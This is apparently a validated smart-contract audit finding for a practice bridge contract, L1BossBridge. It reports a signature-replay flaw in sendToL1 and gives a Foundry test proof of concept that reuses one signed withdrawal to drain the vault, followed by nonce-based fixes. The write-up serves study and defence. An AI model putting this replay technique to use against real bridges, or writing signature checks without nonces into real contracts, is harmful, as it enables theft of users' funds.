Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signed messages can be reused in 'L1BossBridge.sol::sendToL1' causing funds to be repeatedly withdrawn

Summary

When a Signer approves a withdraw, signs the message, and 'L1BossBridge.sol::sendToL1' is called, the input parameters can be grabbed and used again by anyone. They can replay the withdraw request multiple times by calling the 'L1BossBridge.sol::sendToL1' function with the same parameters.

Vulnerability Details

Because the input parameters for the 'L1BossBridge.sol::sendToL1' function will be public to anyone, someone can copy them and call the function again to replay any withdraw request. In the 'L1BossBridge.sol::sendToL1' function, only the signer of the message is being checked, this does not stop someone
from using the exact same signed message multiple times. Because a withdraw request can be used multiple times, this could lead to the entire protocols value being withdrawn.

Impact

The below test passes as true showing that 'user' withdrew all available funds using the same signed message multiple times.

function testUserCanReplayTransactions() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
vm.startPrank(user2);
uint256 user2InitialBalance = token.balanceOf(address(user2));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount + depositAmount);
assertEq(token.balanceOf(address(user2)), user2InitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
console2.log("This is operator addr", operator.addr);
console2.log("This is operator key", operator.key);
console2.log("This is v", v);
console2.log("This is r", vm.toString(r));
console2.log("This is s", vm.toString(s));
@> tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
@> tokenBridge.withdrawTokensToL1(
user,
depositAmount,
28,
0x9b94cf6d35a374c6603983ccc3ba1322f72ac33d61ca20c358d4f6b380e917fa,
0x7897a59b0912b84627a782195602645993b31bd0a0a5ce70287a1e3ad88794a6
);
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);
assertEq(token.balanceOf(address(user2)), user2InitialBalance - depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}

Tools Used

--Foundry

Recommendations

  1. It is recommended to use a unique nonce when hashing and signing the withdrawal message and to then check if that nonce has been used in the 'L1BossBridge.sol::sendToL1' function. This could prevent the same transaction from being use more than once.

  2. Alternatively, the hash of the signed message could be stored after it has been used. Then in the 'L1BossBridge.sol::sendToL1' function, it can be checked if that exact hash has already been used and refuse it if it has.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.